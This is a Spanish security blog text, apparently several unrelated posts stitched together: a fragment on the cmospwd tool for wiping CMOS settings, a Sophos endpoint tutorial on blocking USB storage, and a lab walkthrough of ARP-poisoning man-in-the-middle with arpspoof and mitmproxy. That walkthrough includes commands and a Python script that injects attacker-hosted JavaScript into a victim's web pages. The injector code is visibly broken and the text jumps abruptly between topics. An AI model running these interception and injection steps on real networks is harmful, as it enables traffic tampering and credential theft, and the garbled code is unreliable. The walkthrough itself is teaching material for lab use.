Algunos activistas están motivados por la política o la religión, mientras que otros pueden querer denunciar los abusos, o la venganza, o simplemente acosar a su objetivo para su propio entretenimiento.
Con el comando básico #./cmospwd -k podemos visualizar 3 opciones:
1. Kill cmos
2. kill cmos (try to keep date and time)
3. abort:
Antes de continuar nos preguntamos ¿Que es cmos ?
La
CMOS es una porción de memoria encargada de almacenar los valores de
configuración de usuario de la placa madre algunos de los cuales el
usuario podrá cambiar o no. Podemos configurar datos como por ejemplo,
la fecha y la hora, los parámetros que definen el disco rígido, la
secuencia de arranque o la configuración de los puertos de entrada
salida, etc.
Bueno elegimos la opción y le damos Enter.
Bueno espero que esta herramienta muy sencilla y fácil de usar pueda ser de ayuda, cabe destacar que corre en plataformas windows y linux
El panorama actual de la seguridad informática es bastante interesante puesto que cada vez vemos más información sobre este tema. Ataques, robos de credenciales, amenazas, suplantación de identidad… es evidente que en el “Internet de las cosas” toda protección es poca.
Muchos gremios profesionales se interesan, poco a poco eso sí, por formarse o al menos asistir a charlas y/o eventos de carácter no excesivamente técnico (como Hack&Beers) para iniciarse o aprender ciertas pautas a tomar para su empresa.
Antivirus o con suerte Firewalls, es lo que más podemos encontrar en todas las empresas. Otra cosa es encontrarse antivirus actualizados. Esta protección no está de más, como ya comentamos. Si todo está al día, y configurado correctamente, esta solución nos “protege” del exterior, bloquea malware, avisa de phishing, etcétera… Aunque a los más “arcaicos” les puede resultar una auténtica molestia el recibir bloqueos y/o avisos, esto puede salvarnos de una catástrofe de dimensiones casi mundiales en nuestro negocio.
¿Y qué pasa con la fuga de información?
Este aspecto (actualmente ignorado por la inmensa mayoría aunque si bien es cierto que determinados gremios están concienciándose bastante rápido) es muy interesante.
Existe el robo de información desde sedes físicas. Un individuo “A” llega a una empresa X, enchufa un USB Rubber Ducky, el famoso Pato, y “aspira” todo tipo de información y credenciales.
Otra forma, es que un empleado, o nuevo empleado o servicios externos en nuestra empresa de cualquier tipo (limpieza, servicio técnico, etcétera…) puede acceder a nuestras oficinas por confianza y pinchar un USB y extraer información confidencial.
Siendo más paranoicos, y no estoy exagerando, puesto que nos hemos encontrado ya varios casos de este tipo, un empleado utiliza un equipo de la empresa el cual no necesita introducir ni extraer información para compartir con compañeros ya que su trabajo no contempla esto, puesto que todo se hace mediante la intranet. ¿Por qué están activos los USB o grabadores DVD?
A continuación vamos a desgranar en este artículo primero y en otra segunda parte de “Controlando Dispositivos Externos“, soluciones válidas para contrarrestar fuga de datos.
En esta primera parte, trataremos con una reputadísima empresa de soluciones de Seguridad. Sophos.
Los EndPoints. Una medida más para evitar fuga de información.
Queramos o no, la inseguridad está en todos lados. Por ello vamos a exponer en este artículo, brevemente, el uso de el EndPoint SOPHOS como medida preventiva para evitar que fuga de información. Recordad, la información es negocio.
Nos vamos a centrar únicamente en su función de Control de Dispositivos.
Lo primero es irnos a su Web. Veremos algo similar a la siguiente captura.
Obviamente necesitaremos evaluar la versión para poder probarla durante 30 días. Suficiente para ver su efectividad.
Elegimos la instalación “en la nube”. ¿Por qué? Vamos a ver como gestionar varios equipos desde la nube, habilitando políticas, reglas, etcétera desde su sitio Web. Algo muy cómodo si se tienen muchos equipos.
Rellenamos los datos correspondientes, email real para activar el producto y pasamos a la siguiente fase. Debemos entrar en la URL de la captura para loguearnos con nuestro mail y password. Este es el panel de administración.
Es muy importante fijarse en todas las opciones que tiene puesto que son muy interesantes.
Este es el panel de administración. Nos ha gustado mucho que es muy “limpio” en su diseño, ofrece detalles estadísticos que pueden servirnos en el futuro para ver el uso del EndPoint, equipos no protegidos, etcétera…
Nos fijaremos en la sección de descargas puesto que tendremos los instalables para Windows, Linux, MAC…personalizados. Estos serán los que usaremos para “propagar” (instalar) en nuestros equipos y poder gestionar así, desde el cloud, todos.
En la anterior captura vemos el menú correspondiente a la sección descargas.
Cuando instalemos en algún equipo nuestro ejecutable descargado desde el mencionado menú de Descargas, y cuando el equipo esté conectado a Internet, detectará la conexión y aparecerá en nuestro panel de administración.
En el menú “Usuarios y Dispositivos” aparece el apartado “Políticas” (Policies) en el cual tenemos entre otras opciones “Defina cómo se debe tratar los medios extraíbles y otros periféricos”. En ella vamos a denegar el almacenamiento extraíble para evitar que nos instalen un USB Rubber Ducky o que algún empleado malhumorado trafique con información confidencial.
Igualmente podemos bloquear todo tipo de conexiones. Lo vemos en la siguiente captura.
Al final de la página, guardamos. Automáticamente tras pocos segundos se actualiza en el equipo cliente, esta política bloqueando cualquier tipo de medio extraíble.
En el equipo cliente, SOPHOS ENDPOINT, nos aparecerá como un software antivirus pero con muchísimos más complementos. Igualmente podemos gestionar algunas actividades.
Un opción muy interesante, es un módulo “anti desinstalaciones” llamado Protección contra manipulaciones que nos sirve para que el usuario no desinstale el software sino conoce la password de desinstalación, reflejada en el DashBoard en el que gestionamos, como hemos dicho, nuestro endpoint.
Con ello, sumamos un punto más de control y seguridad a nuestros equipos. No por ataques, que también incorpora antivirus (como hemos hablado) sino que evita extracción de información. Si un usuario quisiera en un momento determinado introducir algún documento via pendrive, o extraer lo tendría que solicitar y quedaría registrado en nuestro Sophos Cliente y en el panel de administración.
Espero que os sirva de referencia para adoptar medidas. Invertir en seguridad no es derrochar el dinero, es ahorrar en incidencias.
En esta nueva entrada del blog vamos a tratar un tema que siempre despierta un gran interés. No se trata de ninguna técnica nueva ni mucho menos, pero sigue dando mucho “juego“. Se trata de los ataques a la red TCP/IP, concretamente haciendo Man-in-the-Middle con envenenamiento de ARP. Algo de lo que ya hemos hablado en varias ocasiones en ese blog, pero en esta ocasión nos vamos a centrar en el tráfico Web el cual vamos a controlar con un proxy Web diseñado precisamente para el tipo de ataque que vamos a ver a continuación, mitmproxy.
Esta herramienta, que la podéis descargar desde su GitHub en esta dirección https://github.com/mitmproxy/mitmproxy, actúa como un proxy Web donde podemos interceptar tráfico, como lo haría otros proxies Web locales como Burp o ZAP, y nos proporciona una serie de scripts en Python para, por ejemplo, inyectar código HTML. Suena divertido, ¿verdad? Hay muchas herramientas que también permiten hacer esto, pero hemos elegido esta por su sencillez a la hora de lanzar este ataque. Objetivo: inyectar código HTML
Nuestro objetivo es lanzar un ataque de MitM utilizando la técnica de envenenamiento ARP, redirigir el tráfico Web a nuestro proxy local, mitmproxy, e inyectar nuevo código en la respuesta del servidor, para alterar la apariencia de la Web en el navegador del usuario. Escenario
Como venimos haciendo últimamente en el blog, pasamos a explicar cuál es el escenario que vamos a usar para esta prueba de concepto del ataque.
Tenemos dos máquinas virtuales; una Windows 7 (192.168.10.146) que actuará como víctima y una Kali 2 (192.168.10.149) que actuará como máquina atacante.
Herramientas a usar en máquina atacante:
arpspoof: para lanzar ataque MitM evenando tabla ARP iptables: para redirigir tráfico 80/443 a mitmproxy mitmproxy: para interceptar e inyectar código HTML
Si usáis como máquina atacante Kali 2, estas herramientas ya las tendréis a vuestra disposición para ser usadas. Ataque MitM y redirección de tráfico
Antes de poder inyectar tráfico HTML en las respuestas del servidor al cliente (navegador Web de la víctima), necesitamos que su tráfico de red pase por nuestra máquina atacante, para ello lanzamos un ataque de arpspoofing con la herramienta arpspoof.
Pero antes de hacer esto, si no queremos dejar a la víctima sin acceso a Internet u otras redes, tenemos que hacer que nuestra máquina atacante actúe como un router, y haga reenvío de paquetes.
echo 1 > /proc/sys/net/ipv4/ip_forward
Teniendo en cuenta, que la puerta de enlace es la 192.168.10.2, la sintaxis quedaría de la siguiente manera:
arpspoof -i eth0 -t 192.168.10.146 192.168.10.2
Si todo se ha ejecutado correctamente, ya tenemos pasando por nuestra interfaz el tráfico de red de la máquina Windows 7. Como hemos comentado anteriormente, nuestro objetivo es interceptar el tráfico Web, tanto http (80) como https (443), así que necesitamos que este tráfico sea redirigido a mitmproxy, que por defecto escucha en el puerto 8080.
Una vez que tenemos el tráfico Web redirigido, vamos a ejecutar mitmproxy (lo ideal es ejecutarlo antes de hacer iptables) para interceptar el tráfico e inyectar código HTML, concretamente será un Javascript.
Como veréis a continuación, lo haremos con algo divertido y es modificando la apariencia de una Web, pero seguro que estáis pensando que puede ser usado para otras “cosas“.
Como siempre, en nuestro blog, no fomentamos que hagáis un uso ilícito de estas técnicas. Hacedlo en entornos propios o con el consentimiento expreso de terceros.
A mitmproxy le vamos a pasar como parámetro un script para que inyecte código JavaScript en las respuestas HTTP del servidor, que será cargado en el navegador Web de la víctima.
Este script se llama js_inyector.py y os pongo aqúi el código.
El código lo he obtenido del blog de Pankaj Malhotra: http://pankajmalhotra.com
# Usage: mitmdump -s "js_injector.py src"
# (this script works best with --anticache)
from bs4 import BeautifulSoup
from libmproxy.protocol.http import decoded
# On start of proxy server ask for src as an argument
with decoded(flow.response): # Remove content encoding (gzip, ...)
html = BeautifulSoup(flow.response.content)
"""
# To Allow CORS
if "Content-Security-Policy" in flow.response.headers:
del flow.response.headers["Content-Security-Policy"]
"""
if html.body and ('text/html' in flow.response.headers["content-type"][0]):
script = html.new_tag(
"script",
src=context.src_url)
html.body.insert(len(html.body.contents, script)
flow.response.content = str(html)
context.log("******* Filter Injected *******")
Se trata de un script en Python que utiliza la librería de BeautifulSoup para manejar objetos HTML. Sólo he modificado la línea que está marcada para qu e el código lo inyecte al final de la etiqueta body, y no al principio. En este caso, para inyectar una etiqueta HTML nueva para cargará un fichero JavaScript llamado harlem-shake.js. ¿Os imagináis ya lo que hará la Web cuando le inyectemos el código? Seguimos.
El código JavaScript de Harlem Shake lo podéis descargar por ejemplo desde aquí: https://gist.github.com/commadelimited/4958196
El fichero harlem-shake.js lo tengo en la misma máquina Kali 2, y para que lo pueda descargar el navegador de la víctima, voy a levantar con Python un simple servidor Web donde tengo guardado el fichero.
python -m SimpleHTTPServer 80
Ya podemos ejecutar nuestro mitmproxy con el script de inyección de JavaScript, js_inyector.py. El parámetro -T es para indicar que se ejecutará en modo transparente.
Al propio script le estamos pasando un argumento que es el origen del fichero JavaScript que tiene que inyectar, en este caso nuestro servidor Web montado con Python donde se encuentra el fichero harlem-shake.js.
Cuando la víctima abra una Web en su navegador, el tráfico será interceptado y se inyectará el JavaScript. Por ejemplo, supongamos que abre www.hacking-etico.com.
Como se puede ver en la imagen, que se está haciendo una petición GET para cargar harlem-shake.js. De hecho podemos comprobar en el código fuente de la página como realmente se ha inyectado la etiqueta HTML correspondiente.
Ya tan sólo queda por ver el resultado del ataque. A continuación os pongo un vídeo de captura, donde se podrá apreciar mucho mejor. 😉